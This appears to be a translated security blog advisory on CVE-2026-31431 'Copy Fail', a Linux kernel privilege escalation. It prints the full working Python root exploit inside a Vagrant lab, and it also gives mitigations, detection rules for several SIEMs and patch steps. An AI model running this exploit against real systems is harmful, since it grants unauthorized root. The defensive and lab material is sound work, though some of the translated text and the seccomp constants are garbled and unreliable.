CVE-2026-31431 Copy Fail: Privilege escalation in Linux since 2017

Copy Fail is a local privilege escalation (LPE) vulnerability in the Linux kernel that affects all distributions from 2017 to the patch. It is not a ===

What is Copy Fail (CVE-2026-31431)

Copy Fail is a vulnerability local privilege escalation (LPE) in the Linux kernel affecting all distributions from 2017 until the patch. It is not a race condition nor does it require specific kernel offsets: it is a direct logic failure in the crypto subsystem (algif_aead) which allows 4 arbitrary bytes to be written to the kernel's page cache.

The exploit is a Python script 732 bytes which works identically in Ubuntu, Debian, RHEL, SUSE, Amazon Linux and any distro with kernel between 4.14 and 6.19.11.

Key data

Field	Worth
CVE	CVE-2026-31431
CVSS	7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWE	CWE-669 (Incorrect Resource Transfer Between Spheres)
Kernels affected	4.14 - 6.19.11
CISA KEV	Yes (deadline: May 15, 2026)
public exploit	Yes (732 bytes, Python stdlib)
Complexity	Trivial (no race, no offset, no KASLR bypass)

How it works

The exploit opens a socket AF_ALG of type aead with the algorithm authencesn(hmac(sha256),cbc(aes))
Use splice() to move pages from the page cache of a setuid binary (e.g. /usr/bin/su) to socket
Due to a bug in the in-place management of algif_aead, the pages remain in the destination scatterlist as writable
The exploit writes 4 controlled bytes over the setuid binary in page cache (not on disk)
The next execution of /usr/bin/su execute the modified code, which grants root without a password

What I criticize is that It does not require prior root, nor special capabilities, nor network access. Just a local unprivileged account.

Exploitation scenarios

Where IS exploitable

Scenery	Risk	Because
Multi-tenant servers (jump hosts, build servers)	Critical	Any user with shell gets root
Kubernetes/containers	Critical	The page cache is shared between host and pods. Trivial container escape
CI runners (GitHub Actions self-hosted, GitLab, Jenkins)	Critical	A malicious PR gets root in the runner
Cloud SaaS with code execution (notebooks, sandboxes)	Critical	A tenant compromises the host
Single-tenant servers	Half	Post-exploitation LPE (string with web RCE or stolen credentials)
Workstations/laptops	Low	Only relevant if there is already local code execution

Where it is NOT exploitable

Scenery	Because
Caged SFTP (ChrootDirectory + ForceCommand internal-sftp)	There is no command execution, you cannot create AF_ALG socket or execute Python
Containers with strict seccomp that blocks `socket(AF_ALG)`	The syscall is denied before reaching the crypto kernel
Systems with patched kernel (>=6.19.12 or backports)	The bug is fixed
Systems without algif_aead module	Without the module, there is no attack surface

Note on caged SFTP- Although the user cannot exploit Copy Fail directly, if there is a previous chroot escape or if the configuration allows command execution (shell access), the scenario becomes exploitable.

Lab: reproduction with Vagrant

Requirements

Vagrant >= 2.4
VirtualBox >= 7.0
Internet connection (to download box and exploit)

Deploy the vulnerable VM

Create the following script deploy_copy_fail_lab.sh to deploy the entire lab with a single command:

BASH

#!/bin/bash
# deploy_copy_fail_lab.sh - Lab para CVE-2026-31431 (Copy Fail)
# Uso: chmod +x deploy_copy_fail_lab.sh && ./deploy_copy_fail_lab.sh

LAB_DIR="copy_fail_lab"

echo "=== CVE-2026-31431 (Copy Fail) Lab ==="
echo "Creando directorio: $LAB_DIR"

mkdir -p "$LAB_DIR"

cat > "$LAB_DIR/Vagrantfile" << 'EOF'
# -*- mode: ruby -*-
# CVE-2026-31431 (Copy Fail) - Lab vulnerable
# Kernel afectado: 4.14 - 6.19.11

Vagrant.configure("2") do |config|
  config.vm.box = "debian/bookworm64"
  config.vm.hostname = "copy-fail-lab"

  config.vm.provider "virtualbox" do |vb|
    vb.name = "copy-fail-lab"
    vb.memory = "2048"
    vb.cpus = 2
  end

  config.vm.provision "shell", inline: <<-SHELL
    # No actualizar kernel para mantener version vulnerable
    apt-mark hold linux-image-amd64 linux-image-$(uname -r)

    # Instalar dependencias minimas
    apt-get update -qq
    apt-get install -y -qq python3 curl

    # Crear usuario sin privilegios para la prueba
    useradd -m -s /bin/bash attacker
    echo "attacker:attacker" | chpasswd

    # Descargar el exploit
    curl -sL https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/copy_fail_exp.py \
      -o /home/attacker/copy_fail_exp.py
    chown attacker:attacker /home/attacker/copy_fail_exp.py

    # Info del kernel
    echo ""
    echo "============================================"
    echo " CVE-2026-31431 Copy Fail Lab"
    echo " Kernel: $(uname -r)"
    echo "============================================"
    echo ""
    echo " Para explotar:"
    echo "   vagrant ssh"
    echo "   su - attacker  (pass: attacker)"
    echo "   python3 copy_fail_exp.py"
    echo ""
    echo " Para mitigar:"
    echo "   echo 'install algif_aead /bin/false' > /etc/modprobe.d/disable-algif.conf"
    echo "   rmmod algif_aead 2>/dev/null"
    echo "============================================"
  SHELL
end
EOF

echo ""
echo "Levantando VM..."
cd "$LAB_DIR" && vagrant up

echo ""
echo "Lab listo. Conecta con: cd $LAB_DIR && vagrant ssh"

Execute:

BASH

chmod +x deploy_copy_fail_lab.sh
./deploy_copy_fail_lab.sh

The script creates the directory, generates the Vagrantfile and raise the VM automatically. Once finished, the VM will be ready with:

Debian Bookworm with kernel 6.1.0-29-amd64 (vulnerable)
User attacker (password: attacker) without privileges
Exploit downloaded in /home/attacker/copy_fail_exp.py
Kernel locked so that apt upgrade don't patch it

Verify that the system is vulnerable

BASH

vagrant ssh

# Comprobar kernel en rango afectado
uname -r
# 6.1.0-29-amd64

# Comprobar que el modulo algif_aead esta cargado
lsmod | grep algif
# algif_aead             16384  0
# af_alg                 36864  1 algif_aead

Run the exploit

The full exploit is 732 bytes of pure Python (no external dependencies):

PYTHON

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

What it does step by step:

Open /usr/bin/su (binary setuid) in read mode
Create a socket AF_ALG with the algorithm authencesn(hmac(sha256),cbc(aes))
Use splice() to move pages from the page cache to the socket
The bug in algif_aead leave those pages as writable
Write a compressed payload (decompressed with zlib) over the binary in memory
Run /usr/bin/su which now grants root without password

Execution:

BASH

# Cambiar al usuario sin privilegios
su - attacker
# Password: attacker

# Verificar que somos usuario normal
id
# uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

# Ejecutar el exploit
python3 copy_fail_exp.py

# El exploit modifica /usr/bin/su en page cache y lo ejecuta
# Resultado: root shell sin password
id
# uid=0(root) gid=1001(attacker) groups=1001(attacker)

The exploit takes less than 1 second. It does not generate visible logs in the system (there is no trace in auth.log or syslog of the page cache corruption).

Clean after testing

The modification is only in page cache (RAM). A reboot cleans the binary:

BASH

# Desde root o vagrant
sync && reboot

Workarounds for unpatchable environments

In productive environments where updating the kernel involves maintenance windows, restarting critical services or extensive validations, these workarounds allow mitigating the vulnerability without restart.

Workaround 1: Disable the algif_aead module

It is the official workaround recommended by Red Hat and the kernel community. Disable the userspace interface of the AEAD crypto API.

BASH

# 1. Evitar que se cargue en el futuro
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf

# 2. Descargar el modulo si esta cargado (no requiere reboot)
rmmod algif_aead 2>/dev/null

# 3. Verificar
lsmod | grep algif_aead
# (sin output = modulo descargado)

What breaks this:

Does not affect: dm-crypt/LUKS, kTLS, IPsec, OpenSSL/GnuTLS (use crypto API directly without AF_ALG), SSH, WireGuard
It can affect: applications that use AF_ALG explicitly (OpenSSL with engine afalg manually enabled, some embedded crypto offload paths)
How to verify: lsof | grep AF_ALG either ss -xa | grep alg

Workaround 2: Lock AF_ALG with seccomp (for containers)

For containerized workloads, block socket creation AF_ALG (family 38) via seccomp:

JSON

{
  "defaultAction": "SCTP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket"],
      "action": "SCTP_ACT_ERRNO",
      "args": [
        {
          "index": 0,
          "value": 38,
          "op": "SCTP_CMP_EQ"
        }
      ]
    }
  ]
}

In Kubernetes, use a seccompProfile in the pod:

YAML

apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: profiles/block-af-alg.json
  containers:
    - name: app
      image: myapp:latest

Workaround 3: Audit rule for detection

It does not prevent exploitation, but it alerts when someone tries to use AF_ALG:

BASH

# Detectar apertura de sockets AF_ALG (familia 38)
auditctl -a always,exit -F arch=b64 -S socket -F a0=38 -k copy_fail_attempt

# Verificar intentos
ausearch -k copy_fail_attempt

Integrate with your SIEM (Wazuh, ELK) for real-time alerting.

Workaround 4: Protect setuid binaries with mount options

Remount partitions with setuid binaries like nosuid in routes that don't need them, or use file immutable flags:

BASH

# Listar binarios setuid del sistema
find / -perm -4000 -type f 2>/dev/null

# Proteger con chattr (requiere ext4/xfs)
# ATENCION: esto puede romper funcionalidad. Solo para binarios no criticos.
chattr +i /usr/bin/su  # Hace el fichero inmutable

Note: the immutable flag protects against writing to disk but no against page cache corruption. This workaround has limited usefulness against Copy Fail.

Verify that the workaround works

After applying workaround 1 (download module), repeat the exploit:

BASH

su - attacker
python3 copy_fail_exp.py
# OSError: [Errno 2] No such file or directory
# o
# OSError: [Errno 97] Address family not supported by protocol

The exploit fails because it cannot create the socket AF_ALG.

Attack detection

Copy Fail does not generate logs by default, which makes it especially dangerous. These rules allow detecting exploitation attempts or post-exploitation indicators.

auditd rule: detect AF_ALG sockets

The basis of all detection. Monitors the creation of family 38 sockets (AF_ALG):

BASH

# /etc/audit/rules.d/copy-fail.rules

# Detectar creacion de sockets AF_ALG (familia 38)
-a always,exit -F arch=b64 -S socket -F a0=38 -k copy_fail_af_alg

# Detectar uso de splice() en combinacion con ficheros setuid
-a always,exit -F arch=b64 -S splice -k copy_fail_splice

# Detectar acceso de lectura a binarios setuid por usuarios no-root
-a always,exit -F arch=b64 -S open -S openat -F path=/usr/bin/su -F perm=r -F auid>=1000 -k copy_fail_setuid_read
-a always,exit -F arch=b64 -S open -S openat -F path=/usr/bin/passwd -F perm=r -F auid>=1000 -k copy_fail_setuid_read
-a always,exit -F arch=b64 -S open -S openat -F path=/usr/bin/sudo -F perm=r -F auid>=1000 -k copy_fail_setuid_read

Load the rules:

BASH

augenrules --load
# Verificar
ausearch -k copy_fail_af_alg -ts recent

YARA rule: detect the exploit in disk or memory

YARA

rule CopyFail_CVE_2026_31431 {
    meta:
        description = "Detecta el exploit Copy Fail (CVE-2026-31431)"
        author = "Red Orbita"
        date = "2026-05-05"
        cve = "CVE-2026-31431"
        severity = "critical"

    strings:
        // Cadena del algoritmo AEAD usado por el exploit
        $algo = "authencesn(hmac(sha256),cbc(aes))" ascii

        // Socket AF_ALG (familia 38 = 0x26)
        $socket_af_alg = { 26 00 00 00 }

        // Payload comprimido zlib del exploit original
        $zlib_payload = "78daab77f57163626464800126063b06" ascii

        // Binding al tipo "aead"
        $bind_aead = "aead" ascii

        // Patron de la funcion splice con pipe
        $splice_pattern = /g\.splice\(.*offset_src=0\)/

        // Variante: import ofuscado
        $import_obf = "import os as g,zlib,socket as s" ascii

    condition:
        ($algo and $bind_aead) or
        ($zlib_payload) or
        ($import_obf and $splice_pattern) or
        (3 of them)
}

rule CopyFail_Modified_Setuid {
    meta:
        description = "Detecta binarios setuid potencialmente modificados por Copy Fail"
        author = "Red Orbita"
        date = "2026-05-05"
        severity = "high"

    strings:
        // Cabecera ELF valida
        $elf = { 7F 45 4C 46 }

        // Strings esperadas en /usr/bin/su legitimo
        $su_str1 = "setuid" ascii
        $su_str2 = "PAM" ascii

        // Patron sospechoso: shellcode inyectado tipico
        $shellcode_execve = { 48 31 c0 48 31 ff 48 31 f6 48 31 d2 }
        $shellcode_setuid = { 48 31 ff b0 69 0f 05 }

    condition:
        $elf at 0 and ($shellcode_execve or $shellcode_setuid)
}

Scan the system:

BASH

# Escanear procesos en memoria
yara -p 4 copy_fail.yar /proc/*/exe 2>/dev/null

# Escanear directorios de usuarios
yara -r copy_fail.yar /home/ /tmp/ /var/tmp/ /dev/shm/

# Escanear binarios setuid
find / -perm -4000 -type f -exec yara copy_fail.yar {} \; 2>/dev/null

Wazuh rules: real-time alert

Add in /var/ossec/etc/rules/local_rules.xml:

XML

<group name="copy_fail,exploit,cve-2026-31431">

  <!-- Deteccion de socket AF_ALG via auditd -->
  <rule id="100500" level="14">
    <if_sid>80700</if_sid>
    <field name="audit.key">copy_fail_af_alg</field>
    <description>CVE-2026-31431: Intento de crear socket AF_ALG detectado (posible Copy Fail)</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Deteccion de splice sospechoso -->
  <rule id="100501" level="12">
    <if_sid>80700</if_sid>
    <field name="audit.key">copy_fail_splice</field>
    <description>CVE-2026-31431: Syscall splice detectada (indicador de Copy Fail)</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Lectura de binario setuid por usuario no privilegiado -->
  <rule id="100502" level="10">
    <if_sid>80700</if_sid>
    <field name="audit.key">copy_fail_setuid_read</field>
    <description>CVE-2026-31431: Lectura de binario setuid por usuario no-root</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Correlacion: AF_ALG + splice en menos de 5 segundos = alta probabilidad -->
  <rule id="100503" level="15" frequency="2" timeframe="5">
    <if_matched_sid>100500</if_matched_sid>
    <same_source_ip/>
    <description>CVE-2026-31431: Explotacion Copy Fail en curso (AF_ALG + splice correlados)</description>
    <mitre>
      <id>T1068</id>
      <id>T1548.001</id>
    </mitre>
    <group>exploit_attempt,attack,</group>
  </rule>

  <!-- Deteccion post-explotacion: escalada de privilegios repentina -->
  <rule id="100504" level="14">
    <if_sid>5303</if_sid>
    <match>session opened for user root</match>
    <description>CVE-2026-31431: Sesion root abierta (posible post-explotacion Copy Fail)</description>
    <mitre>
      <id>T1548.001</id>
    </mitre>
    <group>privilege_escalation,</group>
  </rule>

</group>

Restart Wazuh manager:

BASH

systemctl restart wazuh-manager

Elastic Security (ELK/SIEM)

Detection rule for Elastic Security using EQL (Event Query Language) on Auditbeat data:

JSON

{
  "rule": {
    "name": "CVE-2026-31431 Copy Fail - AF_ALG Socket Creation",
    "description": "Detecta la creacion de sockets AF_ALG que pueden indicar explotacion de Copy Fail",
    "severity": "critical",
    "risk_score": 95,
    "type": "eql",
    "query": "process where event.action == \"socket\" and auditd.data.a0 == \"26\"",
    "threat": [
      {
        "framework": "MITRE ATT&CK",
        "tactic": {
          "id": "TA0004",
          "name": "Privilege Escalation"
        },
        "technique": [
          {
            "id": "T1068",
            "name": "Exploitation for Privilege Escalation"
          }
        ]
      }
    ],
    "tags": ["CVE-2026-31431", "Copy Fail", "LPE", "Linux"]
  }
}

Alternative KQL rule for manual searches in Kibana:

CODE

# Buscar creacion de sockets AF_ALG
auditd.data.syscall: "socket" AND auditd.data.a0: "26"

# Buscar uso de splice por usuarios no-root
auditd.data.syscall: "splice" AND user.id >= 1000

# Correlacion: usuario no-root que abre binario setuid + socket AF_ALG
auditd.data.key: ("copy_fail_af_alg" OR "copy_fail_splice" OR "copy_fail_setuid_read")

Recommended dashboard: create an alert with a threshold of 1 event in a 1-minute window on the query auditd.data.key: "copy_fail_af_alg".

Splunk

SPL Queries to detect Copy Fail indicators:

SPL

| Deteccion principal: socket AF_ALG
index=linux sourcetype=linux:audit syscall=socket a0=26
| stats count by host, auid, exe, _time
| where auid >= 1000
| sort -_time

| Correlacion: AF_ALG + splice en ventana de 10 segundos
index=linux sourcetype=linux:audit (syscall=socket a0=26) OR (syscall=splice)
| transaction host auid maxspan=10s
| where eventcount >= 2
| table _time, host, auid, exe, syscall

| Deteccion de lectura de setuid por no-root
index=linux sourcetype=linux:audit key="copy_fail_setuid_read"
| stats count by host, auid, exe, name
| where count > 0

Recommended alert on Splunk:

SPL

| Alerta: posible explotacion Copy Fail
index=linux sourcetype=linux:audit key="copy_fail_af_alg"
| stats count as attempts by host, auid, exe
| where attempts >= 1
| eval severity="critical"
| eval description="CVE-2026-31431: Intento de explotacion Copy Fail detectado"

Set as Real-time alert with immediate notification action and creation of notable event in ES.

IBM QRadar

Custom rule for QRadar. Create a custom rule with these parameters:

Rule 1: AF_ALG socket detection

CODE

Rule Name: CVE-2026-31431 Copy Fail - AF_ALG Socket
Rule Type: Event
Log Source Type: Linux OS
Event Category: Audit
Condition:
  when the event matches ALL of the following:
    - Event Name contains "SYSCALL"
    - AND UTF8(Payload) contains "syscall=41" (socket)
    - AND UTF8(Payload) contains "a0=26" (AF_ALG)
    - AND UTF8(Payload) MATCHES "auid=[1-9][0-9]{3,}"
Action: Dispatch New Offense
Severity: 9 (Critical)
Credibility: 10

Rule 2: Multi-event correlation

CODE

Rule Name: CVE-2026-31431 Copy Fail - Exploitation Chain
Rule Type: Event (Sequence)
Log Source Type: Linux OS
Sequence:
  1. Event contains "syscall=41" AND "a0=26" (AF_ALG socket)
  2. FOLLOWED BY Event contains "syscall=275" (splice) within 10 seconds
  3. FROM same Source IP AND same Username
Action: Dispatch High Offense
Severity: 10 (Maximum)
MITRE: T1068, T1548.001

Building Block: Setuid binary read by non-root

CODE

Rule Name: BB - Setuid Binary Read by Non-Root
Rule Type: Building Block
Condition:
  - Event Name contains "SYSCALL"
  - AND UTF8(Payload) contains "key=\"copy_fail_setuid_read\""
Note: Usar como dependencia de la Rule 2 para aumentar credibilidad

Custom Property (to parse the field a0 from auditd):

CODE

Property Name: Audit_Socket_Family
Property Type: Custom Event Property
Regex: a0=([0-9a-f]+)
Log Source: LinuxServer
Field Type: Numeric

Quick detection script

To check if a system has been compromised or is vulnerable:

BASH

#!/bin/bash
# check_copy_fail.sh - Verificar estado de CVE-2026-31431

echo "=== CVE-2026-31431 Copy Fail - Check ==="
echo ""

# 1. Verificar si el modulo esta cargado
if lsmod | grep -q algif_aead; then
    echo "[VULNERABLE] Modulo algif_aead cargado"
else
    echo "[OK] Modulo algif_aead NO cargado"
fi

# 2. Verificar version del kernel
KERNEL=$(uname -r)
echo "[INFO] Kernel: $KERNEL"

# 3. Buscar el exploit en el sistema
echo ""
echo "Buscando indicadores de compromiso..."
FOUND=0

# Buscar el script del exploit
grep -r "authencesn(hmac(sha256),cbc(aes))" /tmp /var/tmp /dev/shm /home 2>/dev/null && FOUND=1
grep -r "78daab77f571636264" /tmp /var/tmp /dev/shm /home 2>/dev/null && FOUND=1

# Buscar procesos sospechosos con AF_ALG
if ss -xa 2>/dev/null | grep -q alg; then
    echo "[ALERTA] Sockets AF_ALG activos detectados"
    ss -xa | grep alg
    FOUND=1
fi

# Verificar integridad de binarios setuid
echo ""
echo "Verificando binarios setuid..."
for bin in /usr/bin/su /usr/bin/sudo /usr/bin/passwd; do
    if [ -f "$bin" ]; then
        HASH=$(sha256sum "$bin" | awk '{print $1}')
        echo "  $bin: $HASH"
        # Comparar con hash conocido del paquete
        EXPECTED=$(dpkg -V $(dpkg -S "$bin" 2>/dev/null | cut -d: -f1) 2>/dev/null | grep "$bin")
        if [ -n "$EXPECTED" ]; then
            echo "  [ALERTA] Binario modificado: $EXPECTED"
            FOUND=1
        fi
    fi
done

echo ""
if [ $FOUND -eq 1 ]; then
    echo "[ALERTA] Se encontraron indicadores sospechosos"
else
    echo "[OK] No se encontraron indicadores de compromiso"
fi

Definitive solution: update the kernel

The definitive patch is the commit a664bf3d603d in mainline, which reverses the in-place optimization of 2017 in algif_aead.

Debian/Ubuntu

BASH

apt update && apt upgrade -y linux-image-amd64
reboot

RHEL/Rocky/Alma

BASH

dnf update kernel -y
reboot

Amazon Linux

BASH

dnf update kernel -y
reboot

Check patch

BASH

uname -r
# Debe ser >= 6.1.128 (Debian), >= 6.19.12 (mainline)
# o la version con backport de tu distro

# Comprobar que el exploit ya no funciona
sudo -u attacker python3 /home/attacker/copy_fail_exp.py
# Debe fallar o no producir escalada

Recommended response plan

For security and operations teams, this is a phased action plan:

Priority	Action	Time
Immediate	Apply workaround 1 (rmmod algif_aead) on all hosts	< 1 hour
Immediate	Deploy audit rule (workaround 3)	< 1 hour
24h	Apply seccomp on all K8s clusters (workaround 2)	< 24h
72h	Schedule patch window for critical hosts	< 72h
1 week	Update kernel on all systems	< 7 days
Post-patch	Delete workarounds and verify	After reboot

Conclusions

CVE-2026-31431 (Copy Fail) is probably the most serious LPE in Linux of the last decade due to its combination of:

Triviality: 732 bytes of Python, no dependencies, no race condition
Universality: affects all Linux kernels since 2017
Reliability: 100% success, no crashes or visible corruption
Stealth: does not generate logs, does not modify disk, disappears with reboot

For environments that cannot be patched immediately, download the module algif_aead It is the fastest mitigation and with the least impact. The vast majority of systems do not use AF_ALG not operational at all.

References

https://copy.fail - Official advisory page
Exploit PoC (GitHub)
Technical write-up (Xint)
NVD - CVE-2026-31431
Red Hat mitigation
CISA KEV Catalog
Kernel patch (mainline)

What is Copy Fail (CVE-2026-31431)

Key data

How it works

Exploitation scenarios

Where IS exploitable

Where it is NOT exploitable

Lab: reproduction with Vagrant

Requirements

Deploy the vulnerable VM

Verify that the system is vulnerable

Run the exploit

Clean after testing

Workarounds for unpatchable environments

Workaround 1: Disable the algif_aead module

Workaround 2: Lock AF_ALG with seccomp (for containers)

Workaround 3: Audit rule for detection

Workaround 4: Protect setuid binaries with mount options

Verify that the workaround works

Attack detection

auditd rule: detect AF_ALG sockets

YARA rule: detect the exploit in disk or memory

Wazuh rules: real-time alert

Elastic Security (ELK/SIEM)

Splunk

IBM QRadar

Quick detection script

Definitive solution: update the kernel

Debian/Ubuntu

RHEL/Rocky/Alma

Amazon Linux

Check patch

Recommended response plan

Conclusions

References

Comments